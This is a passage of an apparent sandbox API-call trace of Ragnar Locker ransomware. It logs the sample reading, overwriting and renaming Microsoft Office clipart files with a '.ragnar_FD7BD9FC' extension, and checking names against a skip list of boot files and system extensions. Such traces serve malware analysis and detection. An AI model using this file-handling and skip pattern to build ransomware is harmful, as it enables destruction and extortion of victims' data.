lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.421] VirtualAlloc (lpAddress=0x0, dwSize=0x30c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.421] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30c2, lpOverlapped=0x0) returned 1 [0080.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.422] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.423] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30c2, lpOverlapped=0x0) returned 1 [0080.423] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.423] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.423] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.423] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.423] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.423] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.423] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.423] GetProcessHeap () returned 0x580000 [0080.423] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.423] CloseHandle (hObject=0xf4) returned 1 [0080.424] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" [0080.424] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.ragnar_FD7BD9FC" [0080.424] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.424] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0080.424] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.424] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00262_.WMF" | out: lpString1="BL00262_.WMF") returned="BL00262_.WMF" [0080.424] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned=".WMF" [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="autorun.inf") returned 1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="boot.ini") returned -1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="bootfont.bin") returned -1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="bootsect.bak") returned -1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="bootmgr") returned -1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="bootmgr.efi") returned -1 [0080.424] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="desktop.ini") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="iconcache.db") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="ntldr") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="ntuser.dat") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="ntuser.ini") returned -1 [0080.425] lstrcmpiW (lpString1="BL00262_.WMF", lpString2="thumbs.db") returned -1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.425] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0080.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.426] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2556) returned 1 [0080.426] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.426] GetProcessHeap () returned 0x580000 [0080.426] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.426] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.427] VirtualAlloc (lpAddress=0x0, dwSize=0x9fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.428] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9fc, lpOverlapped=0x0) returned 1 [0080.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.428] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.428] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9fc, lpOverlapped=0x0) returned 1 [0080.428] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.428] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.428] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.428] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.428] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.428] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.428] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.429] GetProcessHeap () returned 0x580000 [0080.429] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.429] CloseHandle (hObject=0xf4) returned 1 [0080.429] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" [0080.429] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.ragnar_FD7BD9FC" [0080.429] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.429] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0080.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.429] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00265_.WMF" | out: lpString1="BL00265_.WMF") returned="BL00265_.WMF" [0080.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned=".WMF" [0080.429] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.429] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="autorun.inf") returned 1 [0080.429] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="boot.ini") returned -1 [0080.429] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="bootfont.bin") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="bootsect.bak") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="bootmgr") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="bootmgr.efi") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="desktop.ini") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="iconcache.db") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="ntldr") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="ntuser.dat") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="ntuser.ini") returned -1 [0080.430] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="thumbs.db") returned -1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.430] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0080.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.430] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5752) returned 1 [0080.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x166f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.430] GetProcessHeap () returned 0x580000 [0080.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.430] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.432] VirtualAlloc (lpAddress=0x0, dwSize=0x1678, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.432] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1678, lpOverlapped=0x0) returned 1 [0080.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.433] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1678, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.433] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1678, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1678, lpOverlapped=0x0) returned 1 [0080.434] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1678, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.434] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.434] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1678, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.434] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.434] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.434] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.434] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.434] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.434] GetProcessHeap () returned 0x580000 [0080.434] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.434] CloseHandle (hObject=0xf4) returned 1 [0080.434] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" [0080.434] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.ragnar_FD7BD9FC" [0080.434] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.435] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0080.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.435] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00267_.WMF" | out: lpString1="BL00267_.WMF") returned="BL00267_.WMF" [0080.435] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned=".WMF" [0080.435] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.435] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="autorun.inf") returned 1 [0080.435] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="boot.ini") returned -1 [0080.435] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="bootfont.bin") returned -1 [0080.435] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="bootsect.bak") returned -1 [0080.435] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="bootmgr") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="bootmgr.efi") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="desktop.ini") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="iconcache.db") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="ntldr") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="ntuser.dat") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="ntuser.ini") returned -1 [0080.436] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="thumbs.db") returned -1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.436] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0080.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.436] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2644) returned 1 [0080.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.436] GetProcessHeap () returned 0x580000 [0080.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.437] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.438] VirtualAlloc (lpAddress=0x0, dwSize=0xa54, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.438] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa54, lpOverlapped=0x0) returned 1 [0080.438] SetFilePointerEx (in: hFile=0xf4, 